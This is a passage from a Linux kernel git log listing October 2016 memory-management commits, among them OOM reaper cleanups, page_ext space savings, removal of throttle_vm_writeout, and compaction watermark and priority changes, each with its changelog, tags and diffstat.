Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/sched.h | 1 - mm/oom_kill.c | 15 +++------------ 2 files changed, 3 insertions(+), 13 deletions(-) commit 7ebffa45551fe7db86a2b32bf586f124ef484e6e Author: Tetsuo Handa Date: Fri Oct 7 16:58:45 2016 -0700 mm,oom_reaper: reduce find_lock_task_mm() usage Patch series "fortify oom killer even more", v2. This patch (of 9): __oom_reap_task() can be simplified a bit if it receives a valid mm from oom_reap_task() which also uses that mm when __oom_reap_task() failed. We can drop one find_lock_task_mm() call and also make the __oom_reap_task() code flow easier to follow. Moreover, this will make later patch in the series easier to review. Pinning mm's mm_count for longer time is not really harmful because this will not pin much memory. This patch doesn't introduce any functional change. Link: http://lkml.kernel.org/r/1472119394-11342-2-git-send-email-mhocko@kernel.org Signed-off-by: Tetsuo Handa Signed-off-by: Michal Hocko Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/oom_kill.c | 81 ++++++++++++++++++++++++++++------------------------------- 1 file changed, 38 insertions(+), 43 deletions(-) commit 6b53491598a4d9694318e6e2b11d8c9988a483d4 Author: Huang Ying Date: Fri Oct 7 16:58:42 2016 -0700 mm, swap: add swap_cluster_list This is a code clean up patch without functionality changes. The swap_cluster_list data structure and its operations are introduced to provide some better encapsulation for the free cluster and discard cluster list operations. This avoid some code duplication, improved the code readability, and reduced the total line number. [akpm@linux-foundation.org: coding-style fixes] Link: http://lkml.kernel.org/r/1472067356-16004-1-git-send-email-ying.huang@intel.com Signed-off-by: "Huang, Ying" Acked-by: Minchan Kim Acked-by: Rik van Riel Cc: Tim Chen Cc: Hugh Dickins Cc: Shaohua Li Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/swap.h | 11 +++-- mm/swapfile.c | 133 ++++++++++++++++++++++++--------------------------- 2 files changed, 70 insertions(+), 74 deletions(-) commit 131ddc5c7d814d61f945b6322019e5148f6d39f0 Author: Alexey Dobriyan Date: Fri Oct 7 16:58:39 2016 -0700 mm: unrig VMA cache hit ratio Current code doesn't count first FIND operation after VMA cache flush (which happen surprisingly often) artificially increasing cache hit ratio. On my regular setup the difference is: Before After ========================================================== * boot, login into KDE vmacache_find_calls 446216 vmacache_find_calls 492741 vmacache_find_hits 277596 vmacache_find_hits 276096 ~62.2% ~56.0% * rebuild kernel (no changes to code, usual config) vmacache_find_calls 1943007 vmacache_find_calls 2083718 vmacache_find_hits 1246123 vmacache_find_hits 1244146 ~64.1% ~59.7% * rebuild kernel (full rebuild, usual config) vmacache_find_calls 32163155 vmacache_find_calls 33677183 vmacache_find_hits 27889956 vmacache_find_hits 27877591 ~88.2% ~84.3% Total: ~4% cache hit ratio. If someone is counting _relative_ cache _miss_ ratio, misreporting is much higher. Link: http://lkml.kernel.org/r/20160822225009.GA3934@p183.telecom.by Signed-off-by: Alexey Dobriyan Cc: Davidlohr Bueso Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/vmacache.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f7e2355f0f8635ddcfd26858f58732b7bf85f9f4 Author: James Morse Date: Fri Oct 7 16:58:36 2016 -0700 mm: pagewalk: fix the comment for test_walk Modify the comment describing struct mm_walk->test_walk()s behaviour to match the comment on walk_page_test() and the behaviour of walk_page_vma(). Fixes: fafaa4264eba4 ("pagewalk: improve vma handling") Link: http://lkml.kernel.org/r/1471622518-21980-1-git-send-email-james.morse@arm.com Signed-off-by: James Morse Cc: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c4b209a426847b55c40360c1d04dc7986b55ddc7 Author: Bart Van Assche Date: Fri Oct 7 16:58:33 2016 -0700 do_generic_file_read(): fail immediately if killed If a fatal signal has been received, fail immediately instead of trying to read more data. If wait_on_page_locked_killable() was interrupted then this page is most likely is not PageUptodate() and in this case do_generic_file_read() will fail after lock_page_killable(). See also commit ebded02788b5 ("mm: filemap: avoid unnecessary calls to lock_page when waiting for IO to complete during a read") [oleg@redhat.com: changelog addition] Link: http://lkml.kernel.org/r/63068e8e-8bee-b208-8441-a3c39a9d9eb6@sandisk.com Signed-off-by: Bart Van Assche Reviewed-by: Jan Kara Acked-by: Oleg Nesterov Acked-by: Michal Hocko Cc: Mel Gorman Cc: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/filemap.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 9300d8dfd282bd1473395c5c4c76bfdc90b05978 Author: Joonsoo Kim Date: Fri Oct 7 16:58:30 2016 -0700 mm/page_owner: don't define fields on struct page_ext by hard-coding There is a memory waste problem if we define field on struct page_ext by hard-coding. Entry size of struct page_ext includes the size of those fields even if it is disabled at runtime. Now, extra memory request at runtime is possible so page_owner don't need to define it's own fields by hard-coding. This patch removes hard-coded define and uses extra memory for storing page_owner information in page_owner. Most of code are just mechanical changes. Link: http://lkml.kernel.org/r/1471315879-32294-7-git-send-email-iamjoonsoo.kim@lge.com Signed-off-by: Joonsoo Kim Acked-by: Vlastimil Babka Cc: Minchan Kim Cc: Michal Hocko Cc: Sergey Senozhatsky Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/page_ext.h | 6 ---- mm/page_owner.c | 83 +++++++++++++++++++++++++++++++++--------------- 2 files changed, 58 insertions(+), 31 deletions(-) commit 980ac1672e7edaa927557a5186f1967cd45afcf5 Author: Joonsoo Kim Date: Fri Oct 7 16:58:27 2016 -0700 mm/page_ext: support extra space allocation by page_ext user Until now, if some page_ext users want to use it's own field on page_ext, it should be defined in struct page_ext by hard-coding. It has a problem that wastes memory in following situation. struct page_ext { #ifdef CONFIG_A int a; #endif #ifdef CONFIG_B int b; #endif }; Assume that kernel is built with both CONFIG_A and CONFIG_B. Even if we enable feature A and doesn't enable feature B at runtime, each entry of struct page_ext takes two int rather than one int. It's undesirable result so this patch tries to fix it. To solve above problem, this patch implements to support extra space allocation at runtime. When need() callback returns true, it's extra memory requirement is summed to entry size of page_ext. Also, offset for each user's extra memory space is returned. With this offset, user can use this extra space and there is no need to define needed field on page_ext by hard-coding. This patch only implements an infrastructure. Following patch will use it for page_owner which is only user having it's own fields on page_ext. Link: http://lkml.kernel.org/r/1471315879-32294-6-git-send-email-iamjoonsoo.kim@lge.com Signed-off-by: Joonsoo Kim Acked-by: Vlastimil Babka Cc: Minchan Kim Cc: Michal Hocko Cc: Sergey Senozhatsky Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/page_ext.h | 2 ++ mm/page_alloc.c | 2 +- mm/page_ext.c | 41 +++++++++++++++++++++++++++++++---------- 3 files changed, 34 insertions(+), 11 deletions(-) commit 0b06bb3f6075803a92a0075ba4eb44888dd8a68a Author: Joonsoo Kim Date: Fri Oct 7 16:58:24 2016 -0700 mm/page_ext: rename offset to index Here, 'offset' means entry index in page_ext array. Following patch will use 'offset' for field offset in each entry so rename current 'offset' to prevent confusion. Link: http://lkml.kernel.org/r/1471315879-32294-5-git-send-email-iamjoonsoo.kim@lge.com Signed-off-by: Joonsoo Kim Acked-by: Vlastimil Babka Cc: Minchan Kim Cc: Michal Hocko Cc: Sergey Senozhatsky Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_ext.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e2f612e673f61931b2fe62722832cf5fcf6b3313 Author: Joonsoo Kim Date: Fri Oct 7 16:58:21 2016 -0700 mm/page_owner: move page_owner specific function to page_owner.c There is no reason that page_owner specific function resides on vmstat.c. Link: http://lkml.kernel.org/r/1471315879-32294-4-git-send-email-iamjoonsoo.kim@lge.com Signed-off-by: Joonsoo Kim Reviewed-by: Sergey Senozhatsky Acked-by: Vlastimil Babka Cc: Minchan Kim Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/page_owner.h | 2 ++ mm/page_owner.c | 77 ++++++++++++++++++++++++++++++++++++++++++++ mm/vmstat.c | 79 ---------------------------------------------- 3 files changed, 79 insertions(+), 79 deletions(-) commit f1c1e9f7b5b3ddce6b4f1986939ec87b27515086 Author: Joonsoo Kim Date: Fri Oct 7 16:58:18 2016 -0700 mm/debug_pagealloc.c: don't allocate page_ext if we don't use guard page What debug_pagealloc does is just mapping/unmapping page table. Basically, it doesn't need additional memory space to memorize something. But, with guard page feature, it requires additional memory to distinguish if the page is for guard or not. Guard page is only used when debug_guardpage_minorder is non-zero so this patch removes additional memory allocation (page_ext) if debug_guardpage_minorder is zero. It saves memory if we just use debug_pagealloc and not guard page. Link: http://lkml.kernel.org/r/1471315879-32294-3-git-send-email-iamjoonsoo.kim@lge.com Signed-off-by: Joonsoo Kim Reviewed-by: Sergey Senozhatsky Acked-by: Vlastimil Babka Cc: Minchan Kim Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit acbc15a4b397f86d39416df143e30982b1da528b Author: Joonsoo Kim Date: Fri Oct 7 16:58:15 2016 -0700 mm/debug_pagealloc.c: clean-up guard page handling code Patch series "Reduce memory waste by page extension user". This patchset tries to reduce memory waste by page extension user. First case is architecture supported debug_pagealloc. It doesn't requires additional memory if guard page isn't used. 8 bytes per page will be saved in this case. Second case is related to page owner feature. Until now, if page_ext users want to use it's own fields on page_ext, fields should be defined in struct page_ext by hard-coding. It has a following problem. struct page_ext { #ifdef CONFIG_A int a; #endif #ifdef CONFIG_B int b; #endif }; Assume that kernel is built with both CONFIG_A and CONFIG_B. Even if we enable feature A and doesn't enable feature B at runtime, each entry of struct page_ext takes two int rather than one int. It's undesirable waste so this patch tries to reduce it. By this patchset, we can save 20 bytes per page dedicated for page owner feature in some configurations. This patch (of 6): We can make code clean by moving decision condition for set_page_guard() into set_page_guard() itself. It will help code readability. There is no functional change. Link: http://lkml.kernel.org/r/1471315879-32294-2-git-send-email-iamjoonsoo.kim@lge.com Signed-off-by: Joonsoo Kim Acked-by: Vlastimil Babka Cc: Minchan Kim Cc: Michal Hocko Cc: Sergey Senozhatsky Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 34 ++++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) commit bf48438354a79df50fadd2e1c0b81baa2619a8b6 Author: Michal Hocko Date: Fri Oct 7 16:58:12 2016 -0700 mm, vmscan: get rid of throttle_vm_writeout throttle_vm_writeout() was introduced back in 2005 to fix OOMs caused by excessive pageout activity during the reclaim. Too many pages could be put under writeback therefore LRUs would be full of unreclaimable pages until the IO completes and in turn the OOM killer could be invoked. There have been some important changes introduced since then in the reclaim path though. Writers are throttled by balance_dirty_pages when initiating the buffered IO and later during the memory pressure, the direct reclaim is throttled by wait_iff_congested if the node is considered congested by dirty pages on LRUs and the underlying bdi is congested by the queued IO. The kswapd is throttled as well if it encounters pages marked for immediate reclaim or under writeback which signals that that there are too many pages under writeback already. Finally should_reclaim_retry does congestion_wait if the reclaim cannot make any progress and there are too many dirty/writeback pages. Another important aspect is that we do not issue any IO from the direct reclaim context anymore. In a heavy parallel load this could queue a lot of IO which would be very scattered and thus unefficient which would just make the problem worse. This three mechanisms should throttle and keep the amount of IO in a steady state even under heavy IO and memory pressure so yet another throttling point doesn't really seem helpful. Quite contrary, Mikulas Patocka has reported that swap backed by dm-crypt doesn't work properly because the swapout IO cannot make sufficient progress as the writeout path depends on dm_crypt worker which has to allocate memory to perform the encryption. In order to guarantee a forward progress it relies on the mempool allocator. mempool_alloc(), however, prefers to use the underlying (usually page) allocator before it grabs objects from the pool. Such an allocation can dive into the memory reclaim and consequently to throttle_vm_writeout. If there are too many dirty or pages under writeback it will get throttled even though it is in fact a flusher to clear pending pages. kworker/u4:0 D ffff88003df7f438 10488 6 2 0x00000000 Workqueue: kcryptd kcryptd_crypt [dm_crypt] Call Trace: schedule+0x3c/0x90 schedule_timeout+0x1d8/0x360 io_schedule_timeout+0xa4/0x110 congestion_wait+0x86/0x1f0 throttle_vm_writeout+0x44/0xd0 shrink_zone_memcg+0x613/0x720 shrink_zone+0xe0/0x300 do_try_to_free_pages+0x1ad/0x450 try_to_free_pages+0xef/0x300 __alloc_pages_nodemask+0x879/0x1210 alloc_pages_current+0xa1/0x1f0 new_slab+0x2d7/0x6a0 ___slab_alloc+0x3fb/0x5c0 __slab_alloc+0x51/0x90 kmem_cache_alloc+0x27b/0x310 mempool_alloc_slab+0x1d/0x30 mempool_alloc+0x91/0x230 bio_alloc_bioset+0xbd/0x260 kcryptd_crypt+0x114/0x3b0 [dm_crypt] Let's just drop throttle_vm_writeout altogether. It is not very much helpful anymore. I have tried to test a potential writeback IO runaway similar to the one described in the original patch which has introduced that [1]. Small virtual machine (512MB RAM, 4 CPUs, 2G of swap space and disk image on a rather slow NFS in a sync mode on the host) with 8 parallel writers each writing 1G worth of data. As soon as the pagecache fills up and the direct reclaim hits then I start anon memory consumer in a loop (allocating 300M and exiting after populating it) in the background to make the memory pressure even stronger as well as to disrupt the steady state for the IO. The direct reclaim is throttled because of the congestion as well as kswapd hitting congestion_wait due to nr_immediate but throttle_vm_writeout doesn't ever trigger the sleep throughout the test. Dirty+writeback are close to nr_dirty_threshold with some fluctuations caused by the anon consumer. [1] https://www2.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.9-rc1/2.6.9-rc1-mm3/broken-out/vm-pageout-throttling.patch Link: http://lkml.kernel.org/r/1471171473-21418-1-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Reported-by: Mikulas Patocka Cc: Marcelo Tosatti Cc: NeilBrown Cc: Ondrej Kozina Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/writeback.h | 1 - mm/page-writeback.c | 30 ------------------------------ mm/vmscan.c | 2 -- 3 files changed, 33 deletions(-) commit e780149bcd4be171421535db0514fa9ff556cb87 Author: Xishi Qiu Date: Fri Oct 7 16:58:09 2016 -0700 mm: fix set pageblock migratetype in deferred struct page init On x86_64 MAX_ORDER_NR_PAGES is usually 4M, and a pageblock is usually 2M, so we only set one pageblock's migratetype in deferred_free_range() if pfn is aligned to MAX_ORDER_NR_PAGES. That means it causes uninitialized migratetype blocks, you can see from "cat /proc/pagetypeinfo", almost half blocks are Unmovable. Also we missed freeing the last block in deferred_init_memmap(), it causes memory leak. Fixes: ac5d2539b238 ("mm: meminit: reduce number of times pageblocks are set during struct page init") Link: http://lkml.kernel.org/r/57A3260F.4050709@huawei.com Signed-off-by: Xishi Qiu Cc: Taku Izumi Cc: Vlastimil Babka Cc: Mel Gorman Cc: Michal Hocko Cc: David Rientjes Cc: Joonsoo Kim Cc: "Kirill A . Shutemov" Cc: Kamezawa Hiroyuki Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit e506b99696a296e9aba2e5f3bc5768aa7d8e2396 Author: Xishi Qiu Date: Fri Oct 7 16:58:06 2016 -0700 mem-hotplug: fix node spanned pages when we have a movable node Commit 342332e6a925 ("mm/page_alloc.c: introduce kernelcore=mirror option") rewrote the calculation of node spanned pages. But when we have a movable node, the size of node spanned pages is double added. That's because we have an empty normal zone, the present pages is zero, but its spanned pages is not zero. e.g. Zone ranges: DMA [mem 0x0000000000001000-0x0000000000ffffff] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] Normal [mem 0x0000000100000000-0x0000007c7fffffff] Movable zone start for each node Node 1: 0x0000001080000000 Node 2: 0x0000002080000000 Node 3: 0x0000003080000000 Node 4: 0x0000003c80000000 Node 5: 0x0000004c80000000 Node 6: 0x0000005c80000000 Early memory node ranges node 0: [mem 0x0000000000001000-0x000000000009ffff] node 0: [mem 0x0000000000100000-0x000000007552afff] node 0: [mem 0x000000007bd46000-0x000000007bd46fff] node 0: [mem 0x000000007bdcd000-0x000000007bffffff] node 0: [mem 0x0000000100000000-0x000000107fffffff] node 1: [mem 0x0000001080000000-0x000000207fffffff] node 2: [mem 0x0000002080000000-0x000000307fffffff] node 3: [mem 0x0000003080000000-0x0000003c7fffffff] node 4: [mem 0x0000003c80000000-0x0000004c7fffffff] node 5: [mem 0x0000004c80000000-0x0000005c7fffffff] node 6: [mem 0x0000005c80000000-0x0000006c7fffffff] node 7: [mem 0x0000006c80000000-0x0000007c7fffffff] node1: Normal, start=0x1080000, present=0x0, spanned=0x1000000 Movable, start=0x1080000, present=0x1000000, spanned=0x1000000 pgdat, start=0x1080000, present=0x1000000, spanned=0x2000000 After this patch, the problem is fixed. node1: Normal, start=0x0, present=0x0, spanned=0x0 Movable, start=0x1080000, present=0x1000000, spanned=0x1000000 pgdat, start=0x1080000, present=0x1000000, spanned=0x1000000 Link: http://lkml.kernel.org/r/57A325E8.6070100@huawei.com Signed-off-by: Xishi Qiu Cc: Taku Izumi Cc: Vlastimil Babka Cc: Mel Gorman Cc: Michal Hocko Cc: David Rientjes Cc: Joonsoo Kim Cc: "Kirill A . Shutemov" Cc: Kamezawa Hiroyuki Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 54 +++++++++++++++++++++++------------------------------- 1 file changed, 23 insertions(+), 31 deletions(-) commit fdd4c6149a71ff1da98317adb6f18c28f75a6e3f Author: Vlastimil Babka Date: Fri Oct 7 16:58:03 2016 -0700 mm, vmscan: make compaction_ready() more accurate and readable The compaction_ready() is used during direct reclaim for costly order allocations to skip reclaim for zones where compaction should be attempted instead. It's combining the standard compaction_suitable() check with its own watermark check based on high watermark with extra gap, and the result is confusing at best. This patch attempts to better structure and document the checks involved. First, compaction_suitable() can determine that the allocation should either succeed already, or that compaction doesn't have enough free pages to proceed. The third possibility is that compaction has enough free pages, but we still decide to reclaim first - unless we are already above the high watermark with gap. This does not mean that the reclaim will actually reach this watermark during single attempt, this is rather an over-reclaim protection. So document the code as such. The check for compaction_deferred() is removed completely, as it in fact had no proper role here. The result after this patch is mainly a less confusing code. We also skip some over-reclaim in cases where the allocation should already succed. Link: http://lkml.kernel.org/r/20160810091226.6709-12-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/vmscan.c | 43 ++++++++++++++++++++----------------------- 1 file changed, 20 insertions(+), 23 deletions(-) commit 8348faf91f56371d4bada6fc5915e19580a15ffe Author: Vlastimil Babka Date: Fri Oct 7 16:58:00 2016 -0700 mm, compaction: require only min watermarks for non-costly orders The __compaction_suitable() function checks the low watermark plus a compact_gap() gap to decide if there's enough free memory to perform compaction. Then __isolate_free_page uses low watermark check to decide if particular free page can be isolated. In the latter case, using low watermark is needlessly pessimistic, as the free page isolations are only temporary. For __compaction_suitable() the higher watermark makes sense for high-order allocations where more freepages increase the chance of success, and we can typically fail with some order-0 fallback when the system is struggling to reach that watermark. But for low-order allocation, forming the page should not be that hard. So using low watermark here might just prevent compaction from even trying, and eventually lead to OOM killer even if we are above min watermarks. So after this patch, we use min watermark for non-costly orders in __compaction_suitable(), and for all orders in __isolate_free_page(). [vbabka@suse.cz: clarify __isolate_free_page() comment] Link: http://lkml.kernel.org/r/7ae4baec-4eca-e70b-2a69-94bea4fb19fa@suse.cz Link: http://lkml.kernel.org/r/20160810091226.6709-11-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 6 +++++- mm/page_alloc.c | 9 +++++++-- 2 files changed, 12 insertions(+), 3 deletions(-) commit 984fdba6a32e4e9819ebc06ca3acec6582ffd99f Author: Vlastimil Babka Date: Fri Oct 7 16:57:57 2016 -0700 mm, compaction: use proper alloc_flags in __compaction_suitable() The __compaction_suitable() function checks the low watermark plus a compact_gap() gap to decide if there's enough free memory to perform compaction. This check uses direct compactor's alloc_flags, but that's wrong, since these flags are not applicable for freepage isolation. For example, alloc_flags may indicate access to memory reserves, making compaction proceed, and then fail watermark check during the isolation. A similar problem exists for ALLOC_CMA, which may be part of alloc_flags, but not during freepage isolation. In this case however it makes sense to use ALLOC_CMA both in __compaction_suitable() and __isolate_free_page(), since there's actually nothing preventing the freepage scanner to isolate from CMA pageblocks, with the assumption that a page that could be migrated once by compaction can be migrated also later by CMA allocation. Thus we should count pages in CMA pageblocks when considering compaction suitability and when isolating freepages. To sum up, this patch should remove some false positives from __compaction_suitable(), and allow compaction to proceed when free pages required for compaction reside in the CMA pageblocks. Link: http://lkml.kernel.org/r/20160810091226.6709-10-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Cc: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 12 ++++++++++-- mm/page_alloc.c | 2 +- 2 files changed, 11 insertions(+), 3 deletions(-) commit 9861a62c335cd34a2b6b25aaaf5898e8370299ec Author: Vlastimil Babka Date: Fri Oct 7 16:57:53 2016 -0700 mm, compaction: create compact_gap wrapper Compaction uses a watermark gap of (2UL << order) pages at various places and it's not immediately obvious why. Abstract it through a compact_gap() wrapper to create a single place with a thorough explanation. [vbabka@suse.cz: clarify the comment of compact_gap()] Link: http://lkml.kernel.org/r/7b6aed1f-fdf8-2063-9ff4-bbe4de712d37@suse.cz Link: http://lkml.kernel.org/r/20160810091226.6709-9-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/compaction.h | 23 +++++++++++++++++++++++ mm/compaction.c | 7 +++---- mm/vmscan.c | 6 +++--- 3 files changed, 29 insertions(+), 7 deletions(-) commit f2b8228c5f99a92bc07efd36f8dc840e0705a266 Author: Vlastimil Babka Date: Fri Oct 7 16:57:50 2016 -0700 mm, compaction: use correct watermark when checking compaction success The __compact_finished() function uses low watermark in a check that has to pass if the direct compaction is to finish and allocation should succeed. This is too pessimistic, as the allocation will typically use min watermark. It may happen that during compaction, we drop below the low watermark (due to parallel activity), but still form the target high-order page. By checking against low watermark, we might needlessly continue compaction. Similarly, __compaction_suitable() uses low watermark in a check whether allocation can succeed without compaction. Again, this is unnecessarily pessimistic. After this patch, these check will use direct compactor's alloc_flags to determine the watermark, which is effectively the min watermark. Link: http://lkml.kernel.org/r/20160810091226.6709-8-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a8e025e55b35f7eaf6c6c011de1f98d47ddf0843 Author: Vlastimil Babka Date: Fri Oct 7 16:57:47 2016 -0700 mm, compaction: add the ultimate direct compaction priority During reclaim/compaction loop, it's desirable to get a final answer from unsuccessful compaction so we can either fail the allocation or invoke the OOM killer. However, heuristics such as deferred compaction or pageblock skip bits can cause compaction to skip parts or whole zones and lead to premature OOM's, failures or excessive reclaim/compaction retries. To remedy this, we introduce a new direct compaction priority called COMPACT_PRIO_SYNC_FULL, which instructs direct compaction to: - ignore deferred compaction status for a zone - ignore pageblock skip hints - ignore cached scanner positions and scan the whole zone The new priority should get eventually picked up by should_compact_retry() and this should improve success rates for costly allocations using __GFP_REPEAT, such as hugetlbfs allocations, and reduce some corner-case OOM's for non-costly allocations. Link: http://lkml.kernel.org/r/20160810091226.6709-6-vbabka@suse.cz [vbabka@suse.cz: use the MIN_COMPACT_PRIORITY alias] Link: http://lkml.kernel.org/r/d443b884-87e7-1c93-8684-3a3a35759fb1@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/compaction.h | 3 ++- mm/compaction.c | 5 ++++- 2 files changed, 6 insertions(+), 2 deletions(-) commit 7ceb009a22517297ae0e32863eb86ec766782263 Author: Vlastimil Babka Date: Fri Oct 7 16:57:44 2016 -0700 mm, compaction: don't recheck watermarks after COMPACT_SUCCESS Joonsoo has reminded me that in a later patch changing watermark checks throughout compaction I forgot to update checks in try_to_compact_pages() and compactd_do_work(). Closer inspection however shows that they are redundant now in the success case, because compact_zone() now reliably reports this with COMPACT_SUCCESS. So effectively the checks just repeat (a subset) of checks that have just passed. So instead of checking watermarks again, just test the return value. Note it's also possible that compaction would declare failure e.g. because its find_suitable_fallback() is more strict than simple watermark check, and then the watermark check we are removing would then still succeed. After this patch this is not possible and it's arguably better, because for long-term fragmentation avoidance we should rather try a different zone than allocate with the unsuitable fallback. If compaction of all zones fail and the allocation is important enough, it will retry and succeed anyway. Also remove the stray "bool success" variable from kcompactd_do_work(). Link: http://lkml.kernel.org/r/20160810091226.6709-5-vbabka@suse.cz Signed-off-by: Vlastimil Babka Reported-by: Joonsoo Kim Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit cf378319d335663b6722e74db0211b8af55049d5 Author: Vlastimil Babka Date: Fri Oct 7 16:57:41 2016 -0700 mm, compaction: rename COMPACT_PARTIAL to COMPACT_SUCCESS COMPACT_PARTIAL has historically meant that compaction returned after doing some work without fully compacting a zone. It however didn't distinguish if compaction terminated because it succeeded in creating the requested high-order page. This has changed recently and now we only return COMPACT_PARTIAL when compaction thinks it succeeded, or the high-order watermark check in compaction_suitable() passes and no compaction needs to be done. So at this point we can make the return value clearer by renaming it to COMPACT_SUCCESS. The next patch will remove some redundant tests for success where compaction just returned COMPACT_SUCCESS. Link: http://lkml.kernel.org/r/20160810091226.6709-4-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/compaction.h | 8 ++++---- include/trace/events/compaction.h | 2 +- mm/compaction.c | 12 ++++++------ mm/vmscan.c | 2 +- 4 files changed, 12 insertions(+), 12 deletions(-) commit 791cae9620e35d18df2cedf2bd444920c3ecf04a Author: Vlastimil Babka Date: Fri Oct 7 16:57:38 2016 -0700 mm, compaction: cleanup unused functions Since kswapd compaction moved to kcompactd, compact_pgdat() is not called anymore, so we remove it. The only caller of __compact_pgdat() is compact_node(), so we merge them and remove code that was only reachable from kswapd. Link: http://lkml.kernel.org/r/20160810091226.6709-3-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/compaction.h | 5 ---- mm/compaction.c | 60 +++++++++++++--------------------------------- 2 files changed, 17 insertions(+), 48 deletions(-) commit 06ed29989f39f5129d4f76f4a2d7ce2efa46a6a1 Author: Vlastimil Babka Date: Fri Oct 7 16:57:35 2016 -0700 mm, compaction: make whole_zone flag ignore cached scanner positions Patch series "make direct compaction more deterministic") This is mostly a followup to Michal's oom detection rework, which highlighted the need for direct compaction to provide better feedback in reclaim/compaction loop, so that it can reliably recognize when compaction cannot make further progress, and allocation should invoke OOM killer or fail. We've discussed this at LSF/MM [1] where I proposed expanding the async/sync migration mode used in compaction to more general "priorities". This patchset adds one new priority that just overrides all the heuristics and makes compaction fully scan all zones. I don't currently think that we need more fine-grained priorities, but we'll see. Other than that there's some smaller fixes and cleanups, mainly related to the THP-specific hacks. I've tested this with stress-highalloc in GFP_KERNEL order-4 and THP-like order-9 scenarios. There's some improvement for compaction stats for the order-4, which is likely due to the better watermarks handling. In the previous version I reported mostly noise wrt compaction stats, and decreased direct reclaim - now the reclaim is without difference. I believe this is due to the less aggressive compaction priority increase in patch 6. "before" is a mmotm tree prior to 4.7 release plus the first part of the series that was sent and merged separately before after order-4: Compaction stalls 27216 30759 Compaction success 19598 25475 Compaction failures 7617 5283 Page migrate success 370510 464919 Page migrate failure 25712 27987 Compaction pages isolated 849601 1041581 Compaction migrate scanned 143146541 101084990 Compaction free scanned 208355124 144863510 Compaction cost 1403 1210 order-9: Compaction stalls 7311 7401 Compaction success 1634 1683 Compaction failures 5677 5718 Page migrate success 194657 183988 Page migrate failure 4753 4170 Compaction pages isolated 498790 456130 Compaction migrate scanned 565371 524174 Compaction free scanned 4230296 4250744 Compaction cost 215 203 [1] https://lwn.net/Articles/684611/ This patch (of 11): A recent patch has added whole_zone flag that compaction sets when scanning starts from the zone boundary, in order to report that zone has been fully scanned in one attempt. For allocations that want to try really hard or cannot fail, we will want to introduce a mode where scanning whole zone is guaranteed regardless of the cached positions. This patch reuses the 